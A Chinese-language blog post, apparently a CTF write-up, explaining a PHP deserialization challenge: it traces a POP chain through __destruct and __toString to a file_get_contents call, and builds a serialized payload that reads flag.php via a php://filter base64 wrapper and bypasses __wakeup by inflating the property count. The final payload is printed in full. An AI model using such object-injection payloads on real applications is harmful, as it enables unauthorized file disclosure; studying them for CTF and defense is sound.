反序列化

反序列化构造:

<?php
highlight_file(__FILE__);
class DemoX{
    protected $user;
    protected $sex;
    function __construct(){
        $this->user = new Demo2('php://filter/convert.base64-encode/resource=flag.php'); //新建类的时候赋值
        $this->sex = "male";
    }

    function __wakeup(){   //需要绕过
        $this->user = "Guest";   
        $this->sex = "female";
    }

    function __toString(){
        return "<br>you are " . $this->user . ", your sex is " . $this->sex . "<br>"; //把属性当作字符串返回,如果是对象就相当于调用对象的tostring函数,这里是调用第二个类元素的关键
    }

    function __destruct()
    {
        echo $this; //反序列化之后对象摧毁时调用
    }
}

class Demo2{
    protected $fffl4g;

    function __construct($file){
        $this->fffl4g = $file;
    }

    function __toString(){
        return file_get_contents($this->fffl4g);
    }
}
$a = new DemoX(); //新建DemoX类
echo serialize($a);//序列化类
?>

第一个DemoX类:

class DemoX{
    protected $user;
    protected $sex;
    function __construct(){
        $this->user = new Demo2('php://filter/convert.base64-encode/resource=flag.php'); //新建对象的时候赋值
        $this->sex = "male";
    }

    function __wakeup(){   //需要绕过
        $this->user = "Guest";   
        $this->sex = "female";
    }

    function __toString(){
        return "<br>you are " . $this->user . ", your sex is " . $this->sex . "<br>"; //把属性当作字符串返回,如果是对象就相当于调用对象的tostring函数,这里是调用第二个类元素的关键
    }

    function __destruct()
    {
        echo $this; //反序列化之后对象摧毁时调用
    }
}
  • 反序列化之前会先调用__wakeup,但是属性值需要我们自己掌控,这时要绕过__wakeup,只需要让属性值大于真实值
  • 之后调用__destruct函数,输出$this相当于输出本对象,就是把本对象当作字符串使用,这时调用__tostring函数
  • __tostring函数有相当于返回输出属性,如果属性是对象会调用该对象的__tostring函数

第二个Demo2类:

class Demo2{
    protected $fffl4g;

    function __construct($file){
        $this->fffl4g = $file;
    }

    function __toString(){
        return file_get_contents($this->fffl4g);
    }
}
  • 这里就是根据新建对象的时候将参数传给属性,之后读取属性所指的文件,这里很显然使用伪协议读取

  • 很显然__tostring函数一定是根据第一个类中的renturn语句调用

所以就有了构造的思路:

* 首先利用__construct函数,将被保护的属性设置为第二个类的对象
function __construct(){
        $this->user = new Demo2('php://filter/convert.base64-encode/resource=flag.php'); //新建对象的时候赋值
        $this->sex = "male";
    }

* 改完之后新建对象
  $a = new DemoX(); //新建DemoX类
* 直接反序列化对象输出
echo serialize($a);//序列化类
* 由于protected属性需要加上%00*%00
O:5:"DemoX":2:{s:7:"%00*%00user";O:5:"Demo2":1:{s:9:"%00*%00fffl4g";s:52:"php://filter/convert.base64-encode/resource=flag.php";}s:6:"%00*%00sex";s:4:"male";}
* 别忘了绕过__wakeup
 O:5:"DemoX":3:{s:7:"%00*%00user";O:5:"Demo2":1:{s:9:"%00*%00fffl4g";s:52:"php://filter/convert.base64-encode/resource=flag.php";}s:6:"%00*%00sex";s:4:"male";}

最终的payload:

O:5:"DemoX":3:{s:7:"%00*%00user";O:5:"Demo2":1:{s:9:"%00*%00fffl4g";s:52:"php://filter/convert.base64-encode/resource=flag.php";}s:6:"%00*%00sex";s:4:"male";}
posted @ 2021-09-11 17:53  尘—尘  阅读(674)  评论(0)    收藏  举报